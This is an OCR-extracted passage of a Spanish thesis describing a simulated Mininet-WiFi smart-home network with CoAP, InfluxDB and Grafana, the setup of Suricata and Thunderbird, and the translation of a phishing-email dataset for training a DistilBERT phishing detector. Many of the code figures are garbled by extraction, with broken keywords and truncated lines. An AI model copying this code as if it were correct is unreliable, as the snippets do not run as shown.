para diferenciarlas de otras, el estandar de operacion “g” y el canal de operacion que
funciona de acorde a las condiciones de la red inalambrica, con el fin de simular una red

mas realista. EI comportamiento de la red en Mininet-WiFi para el estandar de

comunicacion 802.11 se establece a través del servicio en segundo plano WMEDIUMD
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mediante el cual se gestiona las caracteristicas de atenuacion, interferencia y la tasa de

error.

La Figura 16 muestra las principales caracteristicas en relacién con la tecnologia

WiFi, ademas de la configuracion del host que ejecutara el servidor de CoAP.

Figura 16

Creacion de los nodos de la capa conectividad y procesamiento

apl = net.addAccessPoint('apl', ssid='SmartHome-1', mode='g', channel='1", position='160,200,0', range='100"')

serv = net.addHost('serv', mac='00:00:00:00:00:08', ip='10.0.0.100/24', position='128,225,0')

Continuando con el proceso de configuracion, se establecen los criterios del
modelo propagacion correspondiente a la de distancia logaritmica el cual sefiala el
decremento de la intensidad que se obtendra a medida que la estacién se aleja del
transmisor. Ademas, se establece el valor de la perdida de 4 que de acuerdo con el modelo
hace referencia a un entorno urbano denso o interiores con un gran numero de
obstrucciones. Una vez definidos las caracteristicas del medio inalambrico, se generan
los enlaces de conexion entre los diversos elementos de la red (ver Figura 17), la cual

corresponde a una topologia del tipo estrella.
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Figura 17

Configuracién y Conexién de Enlaces de Comunicacion

info("*** Configurando propagacion del modelo de WiFi\n")
net.setPropagationModel(model="1ogDistance", exp=4)

info("** Configurando nodos wifi\n")
net.configureWifiNodes()

info("#** Creando enlaces\n")
net.addLink(apl, serv)
net.addLink(apl, serv2)

info("** Configurando conexiones inalambricas\n")
net.addLink(apl, secl_n1)

net.addLink(apl, secl_n2)

net.addLink(apl, hostl)

net.addLink(apl, sec2_nl)

net.addLink(apl, sec3_nl)

net.addLink(apl, sec4_nl)

net.addLink(apl, sec5_n1)

net.addLink(apl, sec5_n2)

Acto seguido se establece el dispositivo que ejecutara los procesos de Traduccion
de Direcciones de Red (NAT) y a la vez que actuara como puerta de enlace para la red
simulada y otras redes externas. Una vez establecida la red, se configura el reenvio de
paquetes entre interfaces en el punto de acceso (apl). Posteriormente, se asignan las rutas
por defecto y la direccion del Sistema de Nombres de Dominio (DNS) en todos los nodos
de la red, los detalles del codigo para los procesos descritos anteriormente son

representados en la Figura 18.
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Figura 18

Inicializacion de la Topologia de Red

c® = net.addController('c@')

info("#* Inicializar Red\n")
net.build()
net.addNAT(name="nat@", linkTo='apl', ip='10.0.0.1"').configDefault()

info("#** Iniciando controladores\n")
for controller in net.controllers:
controller.start()

info("#* Iniciando puntos de acceso\n")
apl.start([c0])
net.get('apl').cmd('sysctl -w net.ipv4.ip_forward=1')

for sta in [serv, secl_nl, hostl, sec2_nl, sec3_nl, sec4_nl, sec5_nl, sec5_n2]:

sta.cmd('route add default gw 10.0.0.1')
sta.cmd('echo "nameserver 8.8.8.8" > /etc/resolv.conf')

En el siguiente apartado se inicializa el servicio referente al protocolo CoAP para
la recepcidn de los datos provenientes desde la capa de percepcion (ver Figura 19). Cabe
destacar que una vez inicializada la red Mininet-WiFi genera un conjunto de subredes e
interfaces de manera interna por lo que el método de andlisis del tréfico se centrara en la
interfaz ‘hwsim0’ la cual reproduce la comunicacion entre las interfaces simuladas dentro

de la topologia de red.

Figura 19

Inicializacion del Servidor Local

info("***x Inicializar Servicios\n")

makeTerm(serv, title='Nodo Servidor CoAP',cmd="bash -c 'sleep 5; python3 CoAP_Server.py'")
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La configuracion del protocolo de comunicacion Constrained Application
Protocol “CoAP” en nuestra red simulada se definen en funcion de la RFC 7252 y se rige

bajo un modelo de cliente-servidor.

Para el apartado de envio de datos se establece el proceso asincrono en el que se
incluye la creacion del contexto para el cliente CoAP, el cual se ejecutara siempre y
cuando el valor boleano sea verdadero. Dentro del proceso interno se establece la variable
a simular, para el caso de descripciéon se detalla la informacion con relacion al sensor de
temperatura el cual genera valores aleatorios entre un rango de 20.0 a 25.0.
Posteriormente, se aplican procesos de conversién de datos en donde se transforma el
valor de la temperatura a una cadena de texto, que a su vez sera codificada en formato
“utf-8”. Acto seguido se crea la peticion por medio de la funcion “MESSAGE” en la cual
se establecen varios parametros como el método “POST”, el identificador del servidor
“coap://10.0.0.10/temperatura” y el payload (carga util). Finalmente, se envia la peticion

y se espera la respuesta del servidor.

La Figura 20 muestra los detalles asociados a la creacion del contexto cliente del

sensor de temperatura.

Figura 20

Cadigo de envio de datos

payload = str(temperature).encode('utf8')

request = Message(code=P uri="'coap://10.0.0.100/temperature', payload=payload)
ait protocol.request(request).response

print(f"Envio de datos temperatura: {temperature}")

print(f"Respuesta: {response.code}\n{response.payload.decode( 'utf8')}")

await asyncio.sleep(15)
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4.1.3 Procesamiento de Datos

El apartado del procesamiento inicia a partir de la creacion y ejecucion del
contexto de servidor CoAP. Sin embargo, la recepcion de datos se realiza por medio de
una clase en la que se definen una serie de contenedores que alojan los recursos del
protocolo CoAP en base a cada nodo y de acorde a la variable a receptar, de manera
puntualizada para el caso del sensor de temperatura se crea el recurso la clase
TemperatureSensorResource, acto seguido se define una tarea asincrona para renderizar
la publicacion a partir de una peticion, de esta manera se decodifica el payload de la

solicitud en formato “utf8” para su posterior impresion.

La Figura 21 muestra el fragmento de cddigo que hace referencia al proceso de

creacion del recurso para el contexto del servidor.

Figura 21

Creacion del recurso del sensor de temperatura

class TemperatureSensorResource(resource.Resource):
async def render_post(self, request):
payload = request.payload.decode('utf8"')

print(f"Datos de Sensor de Temperatura Recibidos: {payload}")
server.temperature_sensor = float(payload)

Una vez definido lo anterior se anexan los recursos de cada uno de los dispositivos
para su respectivo uso, a su vez que se asignan etiquetas para la identificacion en el
apartado de persistencia de datos que engloba los procesos de almacenamiento y

visualizacion de informacion (ver Figura 22).
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Figura 22

Cadigo de Recepcion de datos

async def main(self):
root = resource.Site()
root.add_resource(['bulb'], self.BulbResource())
root.add_resource(['thermostat'], self.ThermostatResource())

root.add_resource([ 'temperature'], self.TemperatureSensorResource())
root.add_resource(['plug'], self.PlugResource())

awalt Context.create_server_context(root)

await asyncio.get_running_loop().create_future()

Finalmente, se envia la informacion recolectada hacia el servicio de
almacenamiento de InfluxDB Cloud por medio de la API de gestion que provee el servicio

(ver Figura 23).

Figura 23
Cddigo de almacenamiento de satos en InfluxDB Cloud
server.influxdb manager.write to influxdb(

measurement="temperature_ sensor",
tags={},

fields={
"temperature”: server.temperature_sensor

1
¥

En el apartado de los servicios que hacen alusion a la capa de aplicacion, se
configuran los detalles del almacenamiento de InfluxDB Cloud en funcién de los
parametros asociados al bucket “Smart Home” establecido en el script de la simulacion
red. Una vez realizado la configuracion se inicia el proceso de almacenamiento en el

servicio de InfluxDB Cloud (ver Figura 24).
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Figura 24

Configuracion del bucket “Smart Home”

+  View Raw Data @ © Pastim v SCRIPT EDITOR
Filter WINDOW PERIOD
CUSTOM

_measurement

Smart Home auto (1s)

system

Fill missing v
) . smart_bulb
_monitoring

smart_plu AGGREGA: PR
_tasks plug AGGREGATE FUNCTION

temperature_sensor
+ Create Bucket P -

CUSTOM AUTO
thermostat

mean
median

last

El proceso de visualizacion de datos en software de Grafana precisa la
configuracion de una query en InfluxDB Cloud, la cual se toma como base de consulta
para importar los datos y realizar la representacion de datos a manera de lineas de tiempo

en que se suscitan los diversos cambios en este caso que el sensor de temperatura registra.

La Figura 25 y Figura 26 muestra el formato de la query de InfluxDB Cloud
asociado al sensor de temperatura y la representacion de los datos en Grafana Cloud en

base a la query de dicho sensor respectivamente.

Figura 25

Configuracién de la solicitud de informacion en InfluxDB Cloud
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Figura 26

Generacion de graficas del sensor de temperatura

El proceso de implementacion de la red, asi como la instalacion de los servicios y
librerias necesarias para su correcto funcionamiento, se describen de manera mas
detallada en el Anexo 4. En dicho anexo, se presenta los procedimientos de configuracion,

el software empleado y las dependencias que fueron integradas en el codigo.

4.1.4 Configuracion de recursos de la red 10T

La presente seccion se desarrolla basdndose en que el sistema de deteccion de
phishing precisa de un par de herramientas para su funcionamiento, bajo esa premisa se
incorpora dichas herramientas en computador anfitrion de manera que una vez se
despliegue la red simulada los recursos sean accesibles y ejecutables desde cualquier nodo

de lared loT.

41.4.1 Instalacion del Sistema de Deteccidn de Intrusos (IDS) — Suricata

Como primer punto se afiade el repositorio de paquetes de software para Suricata

en su version estable (ver Figura 27), posteriormente se actualiza la base de datos de los
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paquetes en el sistema y se instala el servicio de Suricata a través de la siguiente

combinacién de comandos (ver Figura 28)

Figura 27

Adicion del repositorio de archivos de Suricata

Il = ~/Escritorio/Tesis sudo add-apt-repository ppa:oisf/suricata-stable|

Figura 28

Instalacién de Suricata

Il = ~/Escritorio/Tesis sudo apt suricata v

En la siguiente parte se configuran los parametros de andlisis de las interfaces, en
este caso la interfaz a especificar corresponde a la del nodo generado en Mininet-WiFi

que actlia como punto de acceso.

La Figura 29 resalta la interfaz “apl-eth4” del nodo que actia como punto de

acceso y es a la vez punto concentrador del trafico generado en la red 10T.

Figura 29

Configuracién de la interfaz de analisis

GNU nano 4.8 J/ete/suricata/suricata.yaml

# Linux high

De la misma manera también se configura los segmentos de red a analizar, en la
seccion de address-groups se adjunta la red externa que corresponde con la red en que se
encuentra el computador anfitrién y la red 10T generada por Mininet-WiFi (ver Figura

30).
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Figura 30

Configuracién de grupos de red

GNU nano 4.8 /etc/suricata/suricata.yaml

yaml.html

address-qroups:
HOME _NET :
#H

EXTERNAL _NE "I$HOME_NET"

Como parte final del proceso de configuracién de Suricata se definen el directorio
de reglas que el sistema emplea en los procesos de analisis de la red, asi como las reglas
que entran en accion, junto a esto también habilita la actualizacion de reglas (ver Figura

31).

Figura 31

Configuracion de reglas

default-rule-path: /var/lib/suricata/rules

rule-files:
- suricata.rules
- local.rules

#h

figuration fil

classification-file: /etc/suricata/classification.config
reference-config-file: /etc/suricata/reference.config
# thr ld-file - /t fig

Include othe

detect-engine:
- rule-reload: true

je Ver ayuda Guardar Wl Buscar Cortar Textgh Justificar e Posicién Deshacer
@ Salir Leer fich. Y Reemplazar Pegar @l Ortografia gl Ir a linea Rehacer
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41.4.2 Instalacién del cliente de correo — Thunderbird

En este apartado se configura el cliente de correo Thunderbird como un recurso
disponible para la red 10T simulada en Mininet-WiFi. El proceso inicia accediendo a la
tienda de aplicaciones de Ubuntu, por medio del buscador se identifica el software

deseado “Thunderbird” (ver Figura 32).

Figura 32
Busqueda del cliente de correo Thunderbird

Explorar Instalado Actualizaciones

Q thunderbird)|

adapta-gtk-snap Adapta: An adaptive Gtk+ theme based on Material Design Guidelines.

Cliente de correo
Thunderbird
* ke

Lea y escriba correos y noticias con Thunderbird

Thunderbird

e Thunderbird is a free and open source email, newsfeed, chat, and calendaring client

Betterbird
* %k

A better version of Thunderbird

Birdtray

T System tray new mail notification for Thunderbird

Una vez seleccionada la opcion deseada se instala el software haciendo clic en el

botdn instalar que se muestra en la ventana de informacion del producto.

La Figura 33 muestra la informacion referente a Thunderbird, dentro de los
detalles se especifica los parametros como la version, licencia, origen y tamafio del

paquete de instalacion.
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Figura 33
Instalacion del cliente de correo

Cliente de correo Thunderbird Origen  Ubuntu

A Cliente de correo Thunderbird
( . Lea y escriba correos y noticias con Thunderbird

Instalar

Thunderbird is a Full-Featured email, RSS and newsgroup client that makes emailing safer, Faster and easier than ever
before. It supports different mail accounts (POP, IMAP, Gmail), has a simple mail account setup wizard, one- click address
book, tabbed interface, anintegrated learning spam Filter, advanced search and indexing capabilities, and offers easy
organization of mails with tagging and virtual Folders. It also Features unrivalled extensibility.

Detalles

1:115.18.0+build 1-0ubuntu0.20.04.1

Nunca

Comunicacion y noticias - Chat
Libre

ubuntu-focal-updates-main
257,6 MB

Una vez finalizado la instalacion, se continta con la configuracion del correo
electronico, en la ventana desplegada, se ingresa la informacion de nuestra cuenta de
correo (ver Figura 34). Mediante el boton de continuar situado en la parte inferior se

comprueba si el correo es correcto.

Figura 34

Configuracion de la cuenta de correo

| CTRL + K

E3 SeguroESP - F3rch095@hotm B Account Setup

Set Up Your Existing Email Address

To use your current email address fill in your credentials.
Thunderbird will automatically search for a working and recommended server configuration.

Your full name
Edison Picuasi

Email address

efpicuasif@gmail.com

Password
Remember password

Cancel

Your credentials will only be stored locally on your computer.
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Una vez se concrete la verificacion, se dara muestra acerca de la disponibilidad
de protocolos con los que serd configurada el correo en Thunderbird (ver Figura 35), en

este caso se selecciona la opcién IMAP junto con el resto funciones asociadas.

Figura 35

Verificacion de existencia de la cuenta de correo

| CTRL + K

3 SeguroESP - f3rcho9s@hotm = Account Setup

Set Up Your Existing Email Address

To use your current email address fill in your credentials.
Thunderbird will automatically search for a working and recommended server configuration.

Your full name

Edison Picuasi

Email address

efpicuasif@gmail.com

Password
Remember password

+ Configuration found in Mozilla ISP database.
Available configurations

IMAP
Keep your folders and emails synced on your
server
Incoming
imap.gmail.com
& outgoing
smtp.gmail.com

@ username
efpicuasif@gmail.com

En el siguiente paso se concede los permisos de ejecucion necesarios para que

Thunderbird pueda gestionar sin problemas la nueva cuenta correo.

La Figura 36 muestra la peticion del cliente de correo para realizar acciones de
lectura, escritura, envid y eliminacion en torno a las herramientas de correo, contactos y

calendario.
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Figura 36

Habilitar permisos de uso

Mozilla Thunderbird Email quiere acceder a
tu cuenta de Google

e efpicuasif@gmail.com

Esto permitira a Mozilla Thunderbird Emall hacer lo
siguiente:

M Leer, redactar, enviar y eliminar permanentemente correos de
Gmail

B Ver, modificar, descargar y eliminar permanentemente contactos

Ver, modificar, compartir y eliminar permanentemente todos los
E calendarios a los que el usuario puede acceder con
Google Calendar

Al hacer clic en Permitir, autorizas a esaa apllc.aclnn y a Google a utilizar tu |nformac:on segun Io
establecido en sus respectivas Pc as de Pr 1. Puedes cambiar este y otros p. d
la cuenta en cualquier momento.

Denegar Permitir

Finalmente se culmina el proceso de instalacion y asociacion de la cuenta de

correo por medio del boton finish presente en la parte final (ver Figura 37).
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Figura 37

Finalizar configuracion de la cuenta de correo

‘ CTRL + K

3 SequroESP - f3rch095@hotm = Account Setup

Connect your linked services

Thunderbird detected other services linked to your email
account.

Address Books

Thunderbird Found one address book linked to your
email account.

Address Book Connect

# Connect to a CardDAV address book

# Connect to an LDAP address book

Calendars

Thunderbird Found 3 calendars linked to your email
account.

efpicuasif@gmail.com Connect
Festivos en Ecuador Connect

Birthdays Connect

[ Connect to a remote calendar

4.2 Implementacion y Configuracion del Sistema de deteccion de Phishing

Este apartado describe el desarrollo del modelo de deteccion de phishing basado
en el andlisis del contenido del correo electrénico, en el que se hace uso de técnicas de
NLP, asi como el mecanismo de Fine-Tunnig y en conjunto con modelos preentrenados,
dicho procedimiento cubre varios procesos enfocados en la adaptacion del dataset, el

manejo de datos y finalmente el entrenamiento.

4.2.1Proceso de Entrenamiento
Este proceso serad desarrollado en la plataforma de Google Colab, debido a que
brinda la infraestructura necesaria para el desarrollo de proyectos en campos como la

inteligencia artificial.
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En términos generales en este apartado se realizara la adaptacion del modelo
preentrenado de distilbert-base-multilingual-cased de manera que este sea capaz de
ejecutar tareas de clasificacion de correos en funcion de dos categorias (seguro y

phishing), ademas de que pueda operar en base a dos idiomas (inglés y espafiol).

La metodologia del entrenamiento se estructura en 4 procesos principales:
preparacién del conjunto de datos, adquisicion de datos, desarrollo del modelo,

evaluacién y pruebas.

4.2.1.1  Preparacion del Conjunto de Datos

El siguiente proceso se centra en expandir la funcionalidad del modelo, con el fin
de permitir la deteccion de correo phishing tanto en inglés como en espariol. Para llevar
a cabo este proposito, es necesario adecuar el dataset con un ndmero consistente de
correos en espafiol, lo cual permitira reducir posibles sesgos linglisticos en el modelo, la
metodologia sigue un esquema de traduccion similar al empleado por (Rastenis et al.,
2021) en el que se hace uso del servicio de traduccion de Google para adaptar parte del

conjunto de datos empleado en el estudio.

El dataset contemplado para este trabajo se encuentra disponible en la plataforma
de Kaggle, el cual consiste en alrededor de 18 mil correos electrénicos, clasificados en

dos categorias: ‘Safe Email’ (correos seguros) y “Phishing Email” (correos fraudulentos).

La traduccion se realizard por medio de un script desarrollado especificamente
para este fin, el cual integra diversas funciones vinculadas a los procesos de codificacion,
representacion de datos, combinacién de informacion y la interpretacion del contenido

del correo a espafiol.

El proceso inicia con la distribucion de los correos en porciones equitativas, para

garantizar un balance adecuado de las muestras en espafiol e inglés. Posteriormente, se
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procede con la importacion del archivo CSV a Google Colab por medio de la libreria de
Pandas, a la vez que se configuran los pardmetros necesarios para una correcta

visualizacion de los datos (Ver Figura 38).

Figura 38

Importacién del conjunto de datos

ishing Email.csv', encoding="utf-8")

email data.head()

En los detalles de visualizacién del conjunto de datos, se muestra los campos mas
relevantes, correspondientes a las columnas de “Email Text” y “Email Type”. La columna
de “Email Text” contiene el texto del mensaje, mientras que la columna de “Email Type”
contiene las etiquetas que define si el correo es del tipo seguro o phishing (Ver Figura
39). Ademas, se muestra que el dataset cuenta con un total de 18650 correos (Ver Figura

40).
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Figura 39

Representacion de elementos del conjunto de datos

Email Text

re:6.1100, disc : uniformitarianism, re : 1086 ; sex / lang dick
hudson ‘s observations on us use of 's on ' but not ‘d aughter 'as a
vocative are very thought-provoking , but i am not sure that it is fair
to attribute this to " sons " being " treated like senior relatives " . for
one thing , we do n't normally use ' brother * in this way any more
than we do 'd aughter ', and it is hard to imagine a natural class
comprising senior relatives and 's on ' but excluding * brother ' . for
another , there seem to me to be differences here . if i am not
imagining a distinction that is not there, it seems to me that the
senior relative terms are used in a wider variety of contexts,e.g.,
calling out from a distance to get someone ‘s attention , and hence
at the beginning of an utterance , whereas 's on * seems more
natural in utterances like ' yes, son", ' hand me that, son ' than in
ones like "son! " or ' son, help me !'* ( although perhaps these latter
ones are not completely impossible ) . alexis mr

the other side of * galicismos * * galicismo * is a spanish term
which names the improper introduction of french words which are
spanish sounding and thus very deceptive to the ear . * galicismo *
is often considered to be a * barbarismo * . what would be the term
which designates the opposite phenomenon , that is unlawful words
of spanish origin which may have crept into french ? can someone
provide examples ? thank you joseph m kozono < kozonoj @ gunet .
georgetown . edu >

Figura 40

Representacion numérica en base al tipo de correo

email type = email data[ "Email Type'].value_counts()
print(email type)

Email Tvpe

Safe Email 11322
Phishing Email 7328
Name: count, dtype: 1nte4

Una vez analizado como se conforma el conjunto de datos, se procede al
desarrollo del c4digo necesario para su traduccion y la manipulacion. Con el objetivo de
evitar interrupciones debido a posibles fallas durante la ejecucion, se ha disefiado que el

proceso de traduccion opere en base a puntos de guardado. De esta manera, a pesar de
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que se produzcan fallos, la traduccion se reanudara a partir del nimero de correos en el

que se produjo el error.

A partir de la premisa expuesta, se configuran las variables de operacion, asi como
de los puntos de guardado. A través de un mecanismo condicional, se constata la
existencia correos en caché, lo que permite conservar el flujo de trabajo hasta culminar

en su totalidad la traduccién de todos los correos.

La Figura 41 ilustra el cddigo correspondiente a la declaracion de variables y la

funcionalidad de verificacién de correos en caché.

Figura 41

Configuracidn de variables y condicionales de almacenamiento

SLEEP_TIME = 1
CHECKPOINT PATH = tent/d shing ac ranslation| c
BATCH SIZE = 1@

print("Iniciando pr o de traduccion™)

if os.path.exists(CHECKPOINT PATH):
with open(CHECKPOINT PATH, ‘rb’) as f:
translated cache = pickle.load(f)

translated cache
print(“Iniciando cache de tradu

Posteriormente, se duplica y segmenta los conjuntos de datos en una proporcion
del 50%, tomando como referencia el tipo de correo. Los subconjuntos resultantes se
asocian a variables identificables, las cuales se empleara en el resto de las funciones del

script (ver Figura 42).
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Figura 42

Division del conjunto de datos

safe emails = email data[email data[ 'Email
phishing emails = email data[email data[ 'Email

sate_sample = safe_emails.sample(frac=0.5, random state=42)
phishing_sample = phishing emails.sample(frac=0.5, random state=42)

Para el proceso de traduccidn, se establece una funcién que evalla cada elemento
de manera iterativa. En cada iteracion, se inicializa el método de la traduccion con un

namero determinado de intentos, y los resultados se almacenan en caché.

La Figura 43 ilustra el cddigo de la funcion que implementa el ciclo iterativo de

la traduccion, asi como del apartado de almacenamiento en caché.

Figura 43

Segmento de codigo de la funcién de traduccién

traducir texto(texto, idx, intentos=3):

if idx == 12500:
return texto

if texto in translated cache

for intento in range(intentos):
try:
print(f"Intentando nueva traducc (intento {intento + 1})")
time.sleep(SLEEP TIME)
translator = Translator()
traducido = translator.translate(texto, dest="es').text

traducido
ompletada ~dada en caché™)

t Exception
print(f"Errc ento {intento + 1}: {str(e)}")
if intento == intentos - 1:
return texto
time.sleep(3)
return texto
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En la siguiente parte se segmenta el proceso de traduccion para los casos en los
que el correo pertenece al tipo seguro o phishing. Mediante ciclos for, se distribuye las
tareas de traduccion y a través del método loc se accede al contenido del correo por medio
de la etiqueta “Email Text”. Posteriormente, se ejecuta la funcidn de traduccion, definida
como “traducir_texto”, y se reemplaza el texto original con la versién traducida en la
celda correspondiente. Ademas, se agrega una nueva columna en la cual se asigna una

etiqueta con el idioma.

Finalmente, los correos traducidos se almacenan una vez alcanzados el nimero de
elementos definido por el tamafio del lote. El procedimiento se aplica de la misma manera

tanto para los correos seguros como para los phishing (ver Figura 44 y Figura 45).

Figura 44

Segmento de codigo del proceso de traduccion para el caso de correo seguro

or idx in tqgdm(safe sample.index, desc="Tra
texto = safe sample.loc[idx, 'Email Tex
print{f"\nProc do Safe Email {idx}
traducido = traducir texto(texto, 1dx)
safe sample.at[idx, "Emai ex = traducido

safe sample.at[idx, 'Languag es

emails procesados += 1
if emails procesados % BATCH SIZE
guardar_progreso()
print(f"Progreso guardado: {emails procesados} emails pro
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Figura 45

Segmento de codigo del proceso de traduccion para el caso de correo phishing

or idx in tqdm(phishing sample.index, desc="Traduciendo Phishing Emails"):
texto = phishing sample.loc[idx, "Email
print(f"\nPrc lo Phishing Email {idx}")
traducido = traducir_texto(texto, idx)
phishing sample.at[idx, 'Email Text'] = traducido
phishing sample.at[idx, 'Language’] = 'es’

emails procesados += 1
if emails procesados % BATCH SIZE
guardar_progreso()
print(f"Prog guardado: {emails procesados} emails proc

La Figura 46 ilustra los resultados acumulados del proceso de traduccion de los

correos seguros como de phishing.

Figura 46

Detalles del progreso de traduccion

Procesando Phishing Email 6132
Usando traduccién existente del caché

Procesando Phishing Email 9884
Intentando nueva traduccién (intento 1
Traduciendo Phishing Emails: 1ee%| | 3664/3664 [1:15:41<00:00, 1.24s/it]Nueva traduccion completada y guardada en caché

Estadisticas finales:
Total de emails procesados: 9325
Total de traducciones en caché: 89e9

Una vez culminado la traduccién de la totalidad de correos, se une en un solo
conjunto de datos. A la vez se asigna dicha informacion a una variable, la cual servira

como parametro para almacenar el nuevo conjunto de datos (ver Figura 47).

Figura 47

Combinacidn y almacenaje de correos traducidos

translated_dataset = pd.concat([safe_sample, phishing_sample])

translated dataset.to csv(’
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A partir del nuevo conjunto de datos, conformado Unicamente por correos
traducidos, se inicia el proceso de reorganizacion de la nueva informacién en los campos

correspondientes a la del conjunto de datos original.

Previo al proceso de reorganizacion, se realiza una verificacion de la informacion
que conforma el nuevo conjunto de datos. Para ello, se emplea la libreria de pandas,

mediante la cual se importa el nuevo conjunto de datos (ver Figura 48).

Figura 48

Importacion del dataset

email data en es ' / hin /Traduc anslate s csv', encoding="utf-8')
pd.set_option('d i

email data en_es.head()

Asimismo, se representan los primeros elementos de la matriz, con el propoésito
de constatar la traduccion de los correos, que en un principio se encontraba en el idioma

inglés (ver Figura 49).



Figura 49

Representacion del dataset

Unnamed :
%]

2132

Email Text

Eirikur dijo:\n> Este incidente es un microcosmos interesante de como se
desarrollan la sociedad y el derecho.\n> Las mujeres de este pueblo estan
intentando regular la competencia. lo social \n> los mecanismos de estandares
(supongo que la verglienza ya se ha probado) tienen \n> fallé, por lo que lo legal
es lo siguiente. El objetivo también podria ser molestar al bafiista por motivos no
indicados en el\nla historia. El bafiista probablemente enojé a los quejosos en
ofros\ntambién de muchas maneras. La ley y la sociedad son totalmente triviales.
Grandes conceptos confusos como\n”putas contra mamas” son vehiculos
convenientes para disputas insignificantes con la mayor frecuencia posible.\nno.-
Lucas

nominaciones hpl para el 6 de junio de 2000 ( ver archivo adjunto : hplo 606 . xIs ) -

hplo 606 . xIs

El martes 13 de agosto de 2002 a las 12:48:18 a.m. +0100, wintermute
menciond:\n> ;Qué tan inimaginablemente dificil es hacer esto? Hay, hasta donde
yo sé\n> no hay hackers del kernel de Linux, ni distribuciones que se originen en
esta feria\n> isla jverdad? Bien. Antefacto Linux integrado...lo hizo. Pequefia y
agradable distribucion que se ejecutaria en una tarjeta flash de 64 MB (con 12 MB
libres), con\nun sistema de archivos raiz de sélo lectura. Perfecto para pequefios
sistemas integrados. fue un\nVersién muy reducida de RedHat 7.2. Hay que ver si
podemos lanzar el sistema de compilacién y todo. Ese fue el\npoco interesante.
Las distribuciones, en general, son una pérdida de tiempo. No tienes

idea\n; Cuanto mejor podria ser algo como Debian o RedHat que algo\nlo hiciste
0 mismo, a menos que hayas elegido un area especifica.Kate\n— \nGrupo
irlandés de usuarios de Linux:
ilug@linux.ie\nhttp://www.linux.ie/mailman/listinfo/ilug para obtener informacion
sobre (des)suscripcién.\nMantenedor de la lista: listmaster@linux.ie

132

Language

De la misma manera, por medio del método value_counts, se verifica la cantidad

de correos electronicos que cuentan con la etiqueta del idioma en espafiol (es), asi como

del nimero de correos que poseen la etiqueta de ‘Safe Email’ y ‘Phishing Email® (ver

Figura 50).
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Figura 50

Representacion de informacion del dataset

email language = email data en es[ 'Lz '].value_counts()
print(email language)

Language
es 9325
Name: count, dtype: inte4

email type = email data en es[ "Email Type'].value counts()
print(email type)

Email Type

Safe Email 5661
Phishing Email 3664
Name: count, dtype: 1nte4d

Por su parte, la Figura 51 muestran el antes y después del texto presente en el
apartado de contenido del correo electrénico. Esto como evidencia del correcto desarrollo

de los procesos de traduccion.

Figura 51

Detalles de traduccion

email data.iloc[2132][ 'Email T ]

'Eirikur said:\n> This incident is an interesting microcosm of how society and law develop.\n> The
women of this town are attempting to regulate competition. The social \n> standards mechanisms (I
expect that shame has already been tried) have \n> failed, so legal is next. The point could also

be to hassle the sunbather for reasons not given in\nthe story. The sunbather has probably pissed
off the complainers in other\nways, too.Law and society are wholeheartedly trivial. Big fuzzy con
cepts like\n"sluts vs. moms" are convenient vehicles for petty disputes as often as\nnot.- Luca

.

email data en es.iloc[@][ Email Text']

'Eirikur dijo:\n> Este incidente es un microcosmos interesante de como se desarrollan la sociedad
y el derecho.\n> Las mujeres de este pueblo estan intentando regular la competencia. lo social \n
> los mecanismos de estandares (supongo que la vergiienza ya se ha probado) tienen \n> fallé, por 1
o que lo legal es lo siguiente. El objetivo también podria ser molestar al bafhista por motivos no
indicados en el\nla historia. El bafiista probablemente enojo a los quejosos en otros\ntambién de
muchas maneras. La ley y la sociedad son totalmente triviales. Grandes conceptos confusos como
\n"putas contra mamas™ son vehiculos convenientes para disputas insignificantes con la mayor frecu
encia posible.\nno.- Lucas’
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Una vez verificado la manera como esta constituido el conjunto de datos se inicia
el procedimiento de reorganizacién, para esto se importan los dos conjuntos de datos, a

través del método read_csv de la libreria de pandas (ver Figura 52).

Figura 52

Importacion de los datasets

original emails = pd.read csv(’

translated_emails = pd.read_csv( '/ Als v', encoding="utf-8")

Con el fin de no alterar la informacion del conjunto de datos original, se realiza
una copia de este y se lo asigna a una nueva variable, con relacion al conjunto de datos
de los correos traducidos este ultimo se convierte en una estructura de datos del tipo

diccionario.

Conforme a los parametros anteriores se realiza el posicionamiento de cada una
las celdas del conjunto de datos el cual por medio de un ciclo for y un condicional anidado
se constata la coincidencia de la posicion en cada iteracion a la vez que se almacena el
texto en el nuevo conjunto de datos, finalmente se reordenan los elementos conforme al
namero es decir su posicion numérica y se almacena el dataset resultante en el

almacenamiento en la nube de Google Drive (ver Figura 53).

Figura 53
Proceso de combinacién y almacenamiento del dataset

final emails = original emails.copy()
translated emails dict = translated emails.set index( 'Numero’).to dict( index")

for numero in translated emails dict:
mask = final_emails[ 'Numero’] == numero
if mask.any():
for columna in ['T L o', 'Tipo Correo’, ‘Tdioma']:

ict[numero][columna]

final emails.loc[mask, columna] = translated emails

final emails = final emails.sort values(by='Numero').reset index(drop= )

final emails.to_csv('/content/dri i Phishing aducci inal_emails.csv', i
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4.2.1.2  Adquisicion de Datos

Esta fase corresponde a la obtencion del conjunto de datos que se utilizara para
entrenar el modelo de deteccion de phishing. En este caso, se emplea el conjunto de datos
modificado en el apartado anterior, al cual se le realizaron las adecuaciones necesarias

para incluir un numero robusto de muestras de correo tanto en espafiol como en inglés.

Una vez preparado el conjunto de datos, se importa el contenido a la plataforma

de Google Colab y respectivamente a Google Drive (ver Figura 54).

Figura 54

Carga de conjunto de datos
Nombre 1 Propietario Tamano de &
final_emails.csv yo 51 MB
phishing_progress.csv yo 6,2 MB

safe_progress.csv yo 28,1 MB

translated_dataset_final.csv yo 34,3 MB

translation_checkpoint.pkl 30,7 MB

Tras la carga del dataset, se vincula la informacion al entorno de Google Colab
mediante la libreria pandas y la configuracion de representacion, como se ilustra en la

Figura 55.
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Figura 55

Importacion de datos en el entorno de Google Colab

email data = pd.read csv(FILEPATH, encoding="utf-8")

pd.set option('display C
email data.head()

Posteriormente, se lleva a cabo una exploracion con mas detalles de los datos
internos del dataset mediante la funcion de head, se ilustra los primeros cinco

componentes, tal y como se muestra en la Figura 56.

Figura 56

Revision de contenido del Dataset

Tipo

Idioma
Correo

Texto Correo

re : 6. 1100, disco: uniformismo, re: 1086; Las observaciones de sex/lang
Dick Hudson sobre el uso que hacemos de ‘s on' pero no 'd aughter’' como
vocativo invitan a la reflexion, pero no estoy seguro de que sea justo atribuir
esto a que los "hijos" estan siendo "tratados”. como parientes mayores ".
Por un lado, normalmente no usamos 'hermano de esta manera mas que
‘daughter’, y es dificil imaginar una clase natural que comprenda a parientes
mayores y 's on' pero excluyendo a ‘hermano’. por otro lado, me parece que
hay diferencias aqui. Si no estoy imaginando una distincién que no existe,
me parece que los términos relativos mayores se usan en una variedad
